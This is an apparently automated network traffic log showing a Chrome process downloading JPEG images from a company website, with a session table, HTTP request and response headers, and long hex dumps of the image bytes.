2024-10-07 11:17:26 UTC	7958	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 02 60 04 8f 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC`"}!1AQa"q2
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 25 a9 7e dd 3f 31 8e da c2 09 1f b2 a4 8c ff 00 c8 0a f0 2b cf 0f 68 70 64 cf 24 f7 8d ff 00 4d 64 27 f9 55 35 5b 48 d4 a5 9e 9e 90 29 fe 21 f2 fe bd 6a ff 00 b3 e9 ad 2c 65 f5 b9 b3 d9 b5 2f db 3b c6 17 31 9f b2 59 db da a7 f7 8c 41 54 7d 59 ce 2b 86 d7 3f 6c 2f 15 cb b9 06 bf 2c b2 f4 31 e9 ca 18 2f fc 09 56 b8 d1 a7 59 cc db e6 b4 86 66 ff 00 a6 a0 bf f3 ad 28 a6 8a dd 71 1c 71 44 07 41 1c 60 56 b1 c1 c1 74 33 78 99 be a6 4e a5 f1 ff 00 c7 7a e3 1d 8d ac 5c 82 71 96 77 c7 f3 ac 49 bc 45 e3 fd 5b e6 fb 0c eb bb f8 a6 70 3f 9d 76 0d a9 32 ff 00 19 1f 8d 42 da 89 63 dd bd eb 75 86 8c 4c dd 76 71 c7 47 f1 d5 f6 7c cb 88 6d 87 7d d3 73 fa 52 7f c2 bd f1 05 c7 37 3a e4 31 e7 fb b9 63 fa d7 58 6f 24 63 c2 e6 99 e7 5c 49 fc 26 b5 54 23 d8 87 55 d8 e6 53 e1 6e Data Ascii: %~?1+hpd$Md'U5[H)!j,e/;1YAT}Y+?l/,1/VYf(qqDA`Vt3xNz\qwIE[p?v2BcuLvqG\|m}sR7:1cXo$c\I&T#USn
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: d7 ca 9a 1f 8a 11 95 76 e4 f1 dc 9a ee f4 7d 7a 46 c7 cc a0 7e 75 eb 46 84 24 b4 56 39 65 27 b3 3e a6 d3 7c 44 24 51 89 41 ff 00 81 56 e5 be b0 18 0f 9b f5 af 9c f4 8f 10 5c 2e dd b2 57 65 a6 f8 aa e5 14 74 6f ad 6b f5 79 2f 85 98 36 99 d8 7c 67 d5 17 fe 15 96 b3 96 c0 c4 7f fa 31 6b e6 7f 84 fa f3 27 ed 23 f0 8a d8 b6 04 9a 6e b3 19 1f 43 c7 f2 af 50 f8 a5 e2 6b 9b cf 01 ea 30 ba 20 56 f2 cf 7e ce b5 f3 1d 97 8c 20 f0 77 ed 05 f0 ab 54 ba 62 b0 c1 a7 6b 40 95 ea 09 2c 07 eb 8a e2 e5 9c 31 a9 3d dc 1f fe 95 13 d4 a5 15 2c 13 7f df ff 00 db 24 75 7f b5 d7 c6 59 fc 6f e3 29 74 0b 29 d8 68 7a 53 98 f6 29 f9 66 98 70 ce 7d 71 d0 7e 3e b5 f3 ac b3 2a 72 c4 0f a9 ae 2b c6 9f 15 24 b8 d6 2e 61 d3 f1 34 ec ec d2 ce dc 8c 93 93 8f 53 58 9a d5 b5 f6 bb 62 92 c7 79 Data Ascii: v}zF~uF$V9e'>\|D$QAV\.Wetoky/6\|g1k'#nCPk0 V~ wTbk@,1=,$uYo)t)hzS)fp}q~>*r+$.a4SXby
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 08 50 a2 bb b9 59 c2 a4 96 87 2f e2 4d 0c 2a 3e d4 15 e6 57 d6 e6 ce e0 fd 6b dd 35 98 56 6b 72 c3 9c 8a f2 7f 14 d8 95 90 b0 5a 23 a1 49 ea 4b e1 7b 9f 32 60 0d 7a df 87 d7 72 a1 cd 78 a7 84 e5 c5 c7 3c 1c f3 5e d1 e1 99 81 55 e6 89 54 51 2d d3 72 3b 7b 5b 71 e5 ae 46 73 53 7d 9c 7a 62 92 de 65 f2 57 e6 ed 52 34 cb 8e b9 ac 5e 20 8f ab b1 9e 48 1c 50 60 1f 8d 06 e1 3b b5 35 af 23 fe f5 2f ac 0f ea ef a8 ef 24 63 38 a6 f9 20 73 4c 6b e8 bf bd 51 b6 a1 10 fe 21 53 f5 81 fd 5c 99 a2 1f 4a 46 8c 01 55 9b 52 8b b9 cf e3 50 be ad 12 f5 6a 3e b0 35 87 65 e2 8a 7a d3 76 8a cb 7d 7e 04 52 0b af 4a a3 37 8a 60 8c 7d e1 4b db b1 fd 5c e8 32 17 da 98 d7 49 1e 7a e3 f3 ae 36 eb c6 c8 b9 00 8a ce 9b c7 3c 1c 1a 5e d2 6f 64 52 a3 15 d4 ef 4e a3 1a f6 6a 67 f6 90 73 80 Data Ascii: PY/M*>Wk5VkrZ#IK{2`zrx<^UTQ-r;{[qFsS}zbeWR4^ HP`;5#/$c8 sLkQ!S\JFURPj>5ezv}~RJ7`}K\2Iz6<^odRNjgs
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: a9 d6 68 59 b8 18 a9 66 ba b4 5c 85 84 fb f3 59 d3 6a 11 c7 90 91 10 71 c7 3c d6 9c a6 65 f8 5a 3d c0 a8 e3 e8 7f 3a b7 1d d0 8f a0 18 1e d5 cd 3e ac d9 ca 2b 0c ff 00 b5 55 db 52 b8 90 e4 9c 7d 0f 14 72 f7 0d 4e cf fb 50 01 81 8a 51 7d bb 3f c5 cf 18 35 c6 0b ab 8e 7e 7c 9a b7 0d c4 bc 65 c8 cd 1c 80 74 ad 79 c6 7f 02 0d 27 db ca f2 c4 56 27 1b 72 67 c9 fa d4 d1 c8 99 c7 9d 93 9c d3 51 41 b1 7e 6b ec ff 00 4c 74 aa 12 de 11 9f 98 e3 b1 a9 8b c4 40 cb 36 7b e2 aa cf 24 5b 48 f9 8f a6 29 35 d8 9b 94 a7 bb cf 01 98 ff 00 2a a1 35 d1 2b 85 e6 ad 5c 14 e7 07 ea 2a 9b 30 c7 1d 3e b5 9b bf 42 59 52 5b 87 5c e4 10 05 67 cb 74 dd 72 4d 68 5d e7 69 f9 6b 16 6c ee 27 77 06 b9 dd d9 3b 83 4c 59 8f 24 8f 6e b5 7e ce e8 a1 1d 4f d0 56 52 a7 4f bd 56 a1 ce e1 92 47 61 Data Ascii: hYf\Yjq<eZ=:>+UR}rNPQ}?5~\|ety'V'rgQA~kLt@6{$[H)55+\0>BYR[\gtrMh]ikl'w;LY$n~OVROVGa
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 19 a3 b1 b8 92 10 03 17 58 58 ae 0f 43 9c 74 ae 9b c2 3f 14 65 f0 4e 9f 71 62 9a 2e 9b a8 96 9d a5 13 5e 45 b9 d7 23 1b 47 b6 46 6b 7b fe 1a 2b 58 85 76 41 a5 58 41 0e e2 44 69 b8 2e df ee e3 d3 af e7 5d 3e ca 8b 77 94 ed f2 38 be b1 8a 8c 57 b3 a5 7d b5 e6 3c a6 ea de 48 d9 83 c5 22 32 fd ed ca 78 fa fa 56 ff 00 8e f2 35 3b 3c 9c 8f b0 c0 07 fd f3 5d 5d cf c7 2d 56 f2 c6 ea d7 fb 33 4e 8d 2e 15 c3 9d 8c c7 e6 ce 79 27 de b9 2f 1c e1 75 0b 10 3f e7 c6 1f e4 69 4a 30 8c 7d c9 5f e4 38 54 ad 3a d1 f6 b0 e5 df ad fa 19 b1 b6 3c 39 3f 6c 4c 0d 66 05 f3 1b 03 82 4d 5e 8e 4f f8 91 5d 20 3f f2 d0 13 54 e2 ba 8e 15 62 54 39 61 80 73 d2 a6 28 7c de f4 af dc d7 d3 ec 95 2d dd a4 64 8f 77 f1 96 c1 fa 01 5d 1f c3 4d 46 78 fc 51 69 0c 5b 9a d4 4f f3 3e 73 d7 a6 7e b5 Data Ascii: XXCt?eNqb.^E#GFk{+XvAXADi.]>w8W}<H"2xV5;<]]-V3N.y'/u?iJ0}_8T:<9?lLfM^O] ?TbT9as(\|-dw]MFxQi[O>s~
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 9c 95 75 23 b1 53 5c 9e ad 6e ad 99 01 e3 eb 5e 4e 32 8a f8 a2 7b 18 3a fc be eb 3d 3f c0 9e 30 49 d1 60 92 45 df f5 eb 5e 84 bf 66 bc 8f 6c 91 ac 8a de a3 35 f3 06 93 a8 45 63 74 a4 36 1b 3f 78 36 2b da 3c 1f e2 31 79 6e a8 58 ef 5e bc d4 e1 71 0e 5e ec cb c5 51 8f c5 13 6b 56 f0 16 95 71 27 98 6c 20 90 75 fb 82 a2 b5 f0 9e 9b 6e bf bb b6 8e 33 e9 b4 57 4d 67 75 e6 c6 03 e3 6f 7a 8e e8 d9 da c9 bd d8 ec 26 bb dd 18 5e e9 1e 5a ab 34 ac ce 66 f3 47 5b 65 fd da a8 5f a0 ae 3b 5e 9a e6 df 76 d8 e1 72 39 1e 64 2a 6b d5 5a e3 40 68 f7 4d 76 23 5c 77 7a cc ba 9b c2 1b 72 f7 6b 27 fd b4 14 9c 55 ad 70 e6 7b 9e 20 de 34 bb b4 3b 5e c7 4f 2d 9c 7c d6 8a 6a c4 7e 35 b8 9b ee d8 69 2c 7a 7f c7 a8 ae e7 5c 87 c0 b3 6e 66 31 92 3a fc e2 b8 ad 4a ff 00 c1 96 2e de 44 Data Ascii: u#S\n^N2{:=?0I`E^fl5Ect6?x6+<1ynX^q^QkVq'l un3WMguoz&^Z4fG[e_;^vr9d*kZ@hMv#\wzrk'Up{ 4;^O-\|j~5i,z\nf1:J.D
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: a6 23 fe 0a a9 04 7f eb 7c 1f 75 ef b5 97 fc 69 1b fe 0a c3 a6 47 f7 bc 21 7d f9 8a fc d2 5d 7a 3c 93 e4 a9 f7 24 d3 97 c4 30 a8 f9 a2 4c e3 d4 d5 7d 4e 3f cf 2f bd ff 00 98 7d 65 ff 00 22 fb 91 fa 50 ff 00 f0 56 5d 2c 2e 47 83 ef bf 4a ad 37 fc 15 9e d1 7e ef 82 ef 8f e2 2b f3 7e e3 c5 50 43 09 c4 28 0e 7d 4d 64 ff 00 c2 74 bd 0c 51 63 3d 32 6a be a7 1f e7 7f 7b ff 00 32 7e b4 ef f0 2f b9 1f a4 d3 7f c1 5b 9b 9f 27 c1 17 87 fd e6 5a c8 be ff 00 82 b5 6b 6c 8c 2d bc 15 22 1c 70 5d 87 1f ad 7e 76 ff 00 c2 6d 16 79 8a 20 0d 33 fe 13 b8 d7 90 b1 fe 54 96 0e 9d f5 9b fb df f9 84 b1 52 5b 41 7d cb fc 8f ab bc 71 fb 7d 78 df c7 5a c4 77 f2 3e a5 a6 34 27 31 2d a2 2a 84 fc 8e 4d 57 b5 fd b8 3e 27 e1 7c bf 13 6b e0 7f b4 8a 7f ad 7c b4 3e 20 ed fb ad 1e 3d 80 c5 Data Ascii: #\|uiG!}]z<$0L}N?/}e"PV],.GJ7~+~PC(}MdtQc=2j{2~/['Zkl-"p]~vmy 3TR[A}q}xZw>4'1-*MW>'\|k\|> =
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: a9 96 1f 9b a8 2a ab b1 e6 0d f0 df 4a 39 26 39 07 3c f4 a1 be 1b e9 3b 49 11 c8 31 c6 2b d3 7c bd 3d c8 02 e1 31 f5 a6 ff 00 67 59 c9 8c 5c 2b 7f c0 85 43 c2 cb a3 1f b5 5d 8f 2b 97 e1 76 9f 23 02 b2 32 28 ed b6 ab b7 c2 7b 70 09 86 ed 91 bd 0a 91 5e b2 74 78 1b 25 25 18 fa d3 0e 8a 08 1f 36 7f 3a 9f ab 4f b8 fd b4 4f 22 ff 00 85 65 73 0e 76 de 29 fc 4d 71 9e 2b 8e e3 41 99 62 0c 59 71 8d c6 be 8c 6d 1f 1d 39 ae 13 e2 17 81 5b 53 b4 69 23 50 0e 3a f5 34 7b 2a 8b 71 f3 c5 ec 78 05 cc d2 5c b6 59 bf 0a 87 cb f7 ab 97 d6 b2 69 d7 0f 04 c9 89 14 e2 aa 33 74 ac f5 34 d0 61 eb 4d c7 a1 a7 9c 7e 14 df 7a 06 6b f8 57 4a 9f 5a d6 ad ac 6d 88 0f 33 63 73 72 00 ee 6b d5 a5 f8 32 7a c7 2c 6f f9 8f c6 99 f0 77 c2 6d a3 da be b1 79 11 4b 8b 84 c4 0a c3 94 4f 5f c7 f9 Data Ascii: J9&9<;I1+\|=1gY\+C]+v#2({p^tx%%6:OO"esv)Mq+AbYqm9[Si#P:4{qx\Yi3t4aM~zkWJZm3csrk2z,owmyKO_
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 8d e0 1b 0e a2 33 51 b7 80 ec fb 47 8c 57 a0 79 f6 ad d5 70 7e 86 8d d6 8d d1 97 27 de 97 3a eb 10 e5 ed 23 cf 3f e1 02 b4 dc 3e 4e 01 a6 ff 00 c2 0f 6c ac 14 2a 0c 77 c5 7a 2a db da b3 70 f8 f5 e4 50 74 f8 4b 0d a4 7e 54 bd a5 3e a8 ae 49 74 67 9b 1f 05 45 c9 da 07 e1 4d ff 00 84 35 17 3f 2f 3f 4a f4 96 d3 54 b7 de 07 f0 a6 7f 65 00 3a 8f ce 8e 7a 56 dc 39 26 79 bf fc 21 e9 d8 0e be 94 df f8 44 d5 58 1d bf 95 7a 37 f6 61 e3 e5 03 1e 86 a3 3a 5b 2b 29 d8 7e 95 57 a7 d1 91 69 f6 3c fb fe 11 95 1c 60 0a 3f e1 1b 51 d5 6b bc 7d 34 f2 36 9f 6e 2a 36 b1 19 e5 78 f7 15 56 87 70 bc 96 8d 1c 37 fc 23 eb e8 29 df d8 63 ae 01 ae cd ac 86 48 23 1f 85 47 25 88 f4 eb df 14 f9 17 42 6e fa 9c 9f f6 4a 77 c6 71 e9 47 f6 5c 63 b0 cf d2 ba 86 b1 1e 9d 3d a9 9f 62 1c e7 39 Data Ascii: 3QGWyp~':#?>NlwzpPtK~T>ItgEM5?/?JTe:zV9&y!DXz7a:[+)~Wi<`?Qk}46n*6xVp7#)cH#G%BnJwqG\c=b9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49882	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:26 UTC	662	OUT	GET /2016/wp-content/uploads/2020/11/commercial-truck-header.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
2024-10-07 11:17:26 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 04 Mar 2021 16:17:40 GMT Accept-Ranges: bytes Content-Length: 101288 Content-Type: image/jpeg
2024-10-07 11:17:26 UTC	7957	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 35 20 37 39 2e 31 36 34 35 39 30 2c 20 32 30 32 30 2f 31 32 2f 30 39 2d 31 31 3a 35 37 3a 34 34 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky<,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44 "> <rdf:RDF xm
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 76 5c 78 73 bd 1a 6b 3c b5 ad ed 9f 75 aa e4 07 41 60 d6 d5 95 f6 9d 4f ac bb fc af db ce 9b 35 9f cb 7f ab 96 9f 1b 97 9b e8 ee dc da df 13 67 ba 8d fe 49 9c 74 b4 f0 a7 1f 99 79 b6 ff 00 91 71 f1 b4 75 db e1 46 c5 25 7b 35 b3 3c 41 1f e3 5b d3 fe 4b f1 f7 b8 ae 7b 7c 3d a3 2f 79 bb bd b6 b7 6b 84 1a c6 ad 2e a7 b5 43 ca 8b e8 f5 7e d3 a7 6f 55 cf fb 5d 96 98 e8 1c ca 96 96 93 8d 31 cc 2f 54 f9 7a ed ea b9 7e 2d a2 ec 4e 86 4b 3d 6d 24 3a 13 52 4f 00 71 5f 1b bb 7f c7 f2 a5 cf 8d 9e 99 33 aa 93 6e d8 c1 2f 51 81 e0 3a b1 e1 89 0b f4 ba cf 4f 0e d6 c4 f1 cd 24 f1 b6 4b 78 b4 50 8e a0 f0 5a b7 8c 27 93 df 14 4d 89 8e 12 17 92 6a e2 6b 81 c9 67 5e db 0b 25 61 6f 57 92 59 59 cf 21 94 c9 23 8d 60 82 20 05 00 e6 4d 17 a2 f6 4c 39 4d 6d 43 b4 6f ec dd 2c 1d 3b Data Ascii: v\xsk<uA`O5gItyquF%{5<A[K{\|=/yk.C~oU]1/Tz~-NK=m$:ROq_3n/Q:O$KxPZ'Mjkg^%aoWYY!#` ML9MmCo,;
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: ef 11 d3 97 e3 d7 ca 7b 1b 5e dc 86 21 6f 15 bc 4d 07 3d 4d 69 24 f3 24 e2 bf 47 db fa 3e cf a3 cb fd c5 b7 d9 2f 7b 57 b6 af 18 e1 2d bb 08 76 7a 4e 9f a1 79 6f eb bb 74 74 d7 e4 6c e3 bb 87 e1 8f 6c 4d 0c a5 92 ba 17 48 dd 0d 14 d5 f2 54 af 57 47 e4 e4 ed f9 73 3c bc c7 70 f8 04 63 b7 ad 96 e3 d5 9d cf 2e 6c 72 57 0a d3 d2 be bf f7 16 f8 be 9c e6 9a fb fa aa c7 f0 3f b9 6d 83 a5 9a 17 39 a1 b5 02 32 5c 49 f4 1a 2f 3f 67 cd d6 78 8e 92 4a 93 6a ec 2d ed 9b 9d ac 12 b2 48 db a8 3a 6d 6d a0 0d 6e 24 57 d0 bd 3d 1d bc f6 c4 73 ed d7 59 32 a1 dc d7 3b 9d ae e5 23 ac 2e 5f 6d 0b 24 73 18 c6 3d c4 9d 26 95 23 c6 8b af 67 7c 99 93 db 97 57 56 66 68 da bb bb ba 6d 6b 24 f2 ba 46 83 46 9d 21 d8 7a 4a ce bf 27 0d 6d f1 5d 26 e5 dc 8e 76 d5 61 77 78 d0 db 89 a5 2f Data Ascii: {^!oM=Mi$$G>/{W-vzNyottllMHTWGs<pc.lrW?m92\I/?gxJj-H:mmn$W=sY2;#._m$s=&#g\|WVfhmk$FF!zJ'm]&vawx/
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 3f 5b ff 00 81 4c 53 29 47 71 b8 e7 6b 4f f3 ff 00 f0 ab 83 29 06 fa 48 ff 00 e5 ff 00 3f ff 00 0a bc 53 91 e3 7a 3f f2 3f 3b f1 27 13 90 3b d1 1f f0 3f 3b ff 00 0a 71 39 25 6e e8 48 fd 17 e7 7e 24 e2 72 2f de 5f d1 fe 77 e2 4e 27 21 f7 97 f4 7f 9d f8 93 89 c8 7d e3 fd 1f e7 7e 25 30 64 bf 78 ff 00 47 f3 fe 24 c2 e4 7d e3 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e1 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e1 fd 1f cf f8 93 06 47 de 1f d1 fc ff 00 89 30 64 7d e0 7f e5 fe 77 e2 4c 19 1f 78 ff 00 47 f3 fe 24 c1 91 f7 8f f4 7f 3f e2 4c 19 27 de 5f d1 fc ff 00 89 30 0f bc bf a3 f9 ff 00 12 60 2f de 23 fe 5f cf f8 93 0a 8b de ff 00 ac f5 b4 fd 4d 1a 6b e3 5a d6 89 81 f2 93 5c 07 0a ae ce 49 43 da 81 6a 10 08 d4 a1 0b 42 26 b4 23 5c 82 ad 64 Data Ascii: ?[LS)GqkO)H?Sz??;';?;q9%nH~$r/_wN'!}~%0dxG$}G0d}G0d}G0d}wLxG$?L'_0`/#_MkZ\ICjB&#\d
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: cc fc 43 73 fb 27 fb 2c eb 18 8c 60 06 8b 9a e2 06 ad 5a b4 d3 db f1 aa f9 ff 00 d9 ed cf 39 fe 39 cb e9 5f 9b af 1c 63 ce 31 fd 1c a3 64 00 d5 b8 7a 17 bf 0f 99 b7 b5 b8 37 3b d8 48 30 cf 2c 64 65 a2 47 37 e8 28 66 b5 6d 3b c7 ba 2d e9 d1 dd ae da 07 0e b3 cf d2 4a 66 ac 76 7d 93 de dd c3 b8 5f 49 06 e7 dc d3 59 44 c8 f5 46 5c 21 25 ee ae 5a a4 69 18 0c 57 8f e5 77 ef a6 38 fd 5e ef 8b d1 a6 f9 e5 fe 8d 2d 8f e2 97 76 4d bd dc 58 3e fa 1b cb 28 ba 82 3b 91 10 69 7b 5a ea 35 de 53 4c 57 7e be ed ae 92 df 6f 3f 7f 56 9a ed 64 72 9d 9d bc de 7f 12 2e 37 46 01 2c ac 75 c4 ae 0e c8 ea 76 9f c2 ba ed bd 9e 5c 35 99 af 5d ec ff 00 8c 16 bb fe f6 36 87 58 be 09 dc 5e d6 48 1c d7 30 f4 eb 5e 47 1a 2d eb be 4b ab d2 5b 95 56 d8 38 20 54 05 10 2a 05 a2 05 50 08 a1 Data Ascii: Cs',`Z99_c1dz7;H0,deG7(fm;-Jfv}_IYDF\!%ZiWw8^-vMX>(;i{Z5SLW~o?Vdr.7F,uv\5]6X^H0^G-K[V8 T*P
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: b0 fb 40 a9 83 2e 5f bc 76 fe 94 7d 5b 28 1a d3 f5 8d 17 3d b4 6e 57 2d b2 77 f6 f9 b1 89 99 0d dc d0 ca 70 05 8f 75 3e 45 8c 3a 72 6a de 7c 64 ee 6d eb 66 97 68 dd 6e 9e f8 9e 34 97 b0 00 5c 39 3a 8b 1b 4c d3 2e 7b b7 bb bf b8 7b 6a fd 97 bb 5d cc 90 86 1a e8 a9 d0 e1 c9 cd c8 ab 61 cd d3 bf e3 7f 77 3b b8 63 df 20 9f a5 72 d6 86 3e df fe 13 d8 38 39 ab 3a eb 7e ed 72 fe 8f 56 ed 8f ef 21 b3 de c4 c7 6f 51 fb 9d e0 3a 5e d6 d5 cd f4 82 52 ef 67 d0 9a ca e5 fe 2c fc 6a bb be 0e db 36 89 e3 75 b3 e8 e1 71 11 3d 41 4f 15 99 6e fe fc 2f 8d 7f c5 e5 71 f7 76 fb 15 b4 cc a7 52 39 8e a9 24 7b 6a ed 59 54 3b 34 fc 5a a4 de c6 9b 3e 2b 77 39 86 08 2e 1e 2e 6d 60 6e 9e 94 98 ea 1c 2a 54 bd 32 9c dc e5 c6 f9 3c b7 86 78 9a 20 2e 71 76 96 e4 09 e4 b7 34 c3 37 67 5f Data Ascii: @._v}[(=nW-wpu>E:rj\|dmfhn4\9:L.{{j]aw;c r>89:~rV!oQ:^Rg,j6uq=AOn/qvR9${jYT;4Z>+w9..m`n*T2<x .qv47g_
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 50 bb 38 97 5a 22 7b 6b fb ab 67 87 43 21 61 f0 2a e4 6a bb bb 77 67 30 34 cb 4a 72 c1 32 a8 64 ee 5d d9 ed 2d eb b8 34 e7 8a 99 19 cf 9a 57 9a bd e4 9e 64 a8 34 6c bb 93 78 b3 66 88 6e 1c 1a 32 07 1a 2b 90 ef ed 4e fd d5 ea fb db c3 b9 55 5c 8b 91 f7 df 72 46 da 0b 92 ef 13 44 c9 83 9d f1 1b ba 03 74 99 81 19 64 16 2d a6 23 9f dd 37 ab bd c2 4d 77 27 53 f3 aa c3 52 33 84 af 04 96 92 df 42 64 2f 52 a7 13 5f 12 80 71 40 dd 58 51 14 dd 45 0c 0d 45 14 6a 28 85 08 17 51 40 ba a8 81 75 94 00 75 4a 07 d5 14 b4 41 eb 3f 0e ee ef 6d bb 72 66 b4 81 6e e6 9a 8a e3 89 47 3d ab 8d de 66 0f bf ba 7f 37 1a 7a 93 6a ba 7a 60 c6 c7 b8 d4 02 56 5b 8f 43 f8 6f f1 0e ff 00 b4 e5 7d b8 85 97 56 93 02 64 8d e2 8e 07 98 2b 17 de 5a 72 7d df bd bf 7b ee 1b dd c8 b0 47 d7 7f 95 Data Ascii: P8Z"{kgC!a*jwg04Jr2d]-4Wd4lxfn2+NU\rFDtd-#7Mw'SR3Bd/R_q@XQEEj(Q@uuJA?mrfnG=f7zjz`V[Co}Vd+Zr}{G
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 21 c4 2d 20 24 94 54 71 1f 21 f4 9f a5 4b 50 ad 3f 65 ea 2b 9d f2 20 3e c8 50 75 db 5c 60 ed d0 1a d3 cb 8f ca ba c1 60 b4 0e 38 2a 23 73 05 70 28 1b 4a 71 54 20 6d 78 a8 10 80 38 a0 6e 90 81 c0 81 c2 a8 17 50 e4 11 46 a1 f9 21 01 d4 68 39 22 0e bb 79 20 69 95 a3 ea a0 4e b3 7f 25 05 2d e1 c0 ed 57 44 37 51 d2 da 37 fc f6 ac 76 cc ea d6 b7 cb 80 6c c4 87 b1 e3 17 7d 2b 95 8b 93 62 20 35 c0 8a 9a e5 e0 b4 cb 47 6a b6 37 2f 20 60 e1 88 6f 20 17 2e cd f0 e9 a4 75 d6 96 60 b5 ba 1b a9 ed 19 81 4a 7a 97 92 e6 ba 66 2d b6 1a d4 38 1a 1c 0a e7 6a b1 e3 b4 86 3b b9 ed 9e 01 6c 80 e9 3e 25 7d 2e bd b3 ab cd bc f2 c1 93 6f 73 7a e2 b8 c5 9b 56 d1 9f 0c 44 07 b5 c7 03 e6 1e a5 42 12 06 48 15 b6 ae 90 55 b8 9e 00 66 98 0d 36 f2 34 d0 b5 05 db 2d aa 6b 83 46 8f 95 4c Data Ascii: !- $Tq!KP?e+ >Pu\``8*#sp(JqT mx8nPF!h9"y iN%-WD7Q7vl}+b 5Gj7/ `o .u`Jzf-8j;l>%}.oszVDBHUf64-kFL
2024-10-07 11:17:26 UTC	8000	IN	Data Raw: 4e 52 d0 bd 27 2c e4 1d 17 a7 20 74 25 e4 9c 80 60 90 70 4e 40 10 3c a7 20 bd 09 13 90 3a 12 27 20 74 24 4e 40 f7 79 13 90 82 ee 0b 91 69 2f 4c d1 f4 6e 93 fe 7b 53 39 4a cf 82 f6 46 c8 21 ba 6e 87 f0 77 d5 2a 58 ce 56 64 b2 86 52 1e df 2b b8 38 71 52 c3 22 36 cf 6e ec 6b a4 71 e0 bc fd 9d 12 ba eb d9 85 ca 5b 5d 47 f6 a0 35 c3 0d 61 79 f1 bf 5f 9f 71 d7 3a ed fe 2a 57 36 33 db bb 50 f3 33 83 c2 ef d7 df ae ee 77 4b 15 8b 61 90 f9 c5 2b 99 19 7a c2 ed 8b 19 45 1e d9 1c 12 99 ed e3 c5 d4 ab 9b 92 b3 68 cd 94 9b c4 b4 84 98 00 2f 68 c7 05 aa 92 ab d9 dc 4c eb 2d 13 8a 38 e1 ea 5e 49 f1 ff 00 9e 5e 9b db fc 70 4a b5 9e 56 0d 4e e4 17 ab 38 70 4f 05 8d cd d3 e8 1a 5e 7f 24 64 3d 2a 5a b2 2e 4b b5 08 63 68 91 fa 5e 4d 0b 58 30 1e b5 c7 6e d8 eb af 55 a9 6c 9a Data Ascii: NR', t%`pN@< :' t$N@yi/Ln{S9JF!nwXVdR+8qR"6nkq[]G5ay_q:W63P3wKa+zEh/hL-8^I^pJVN8pO^$d=*Z.Kch^MX0nUl
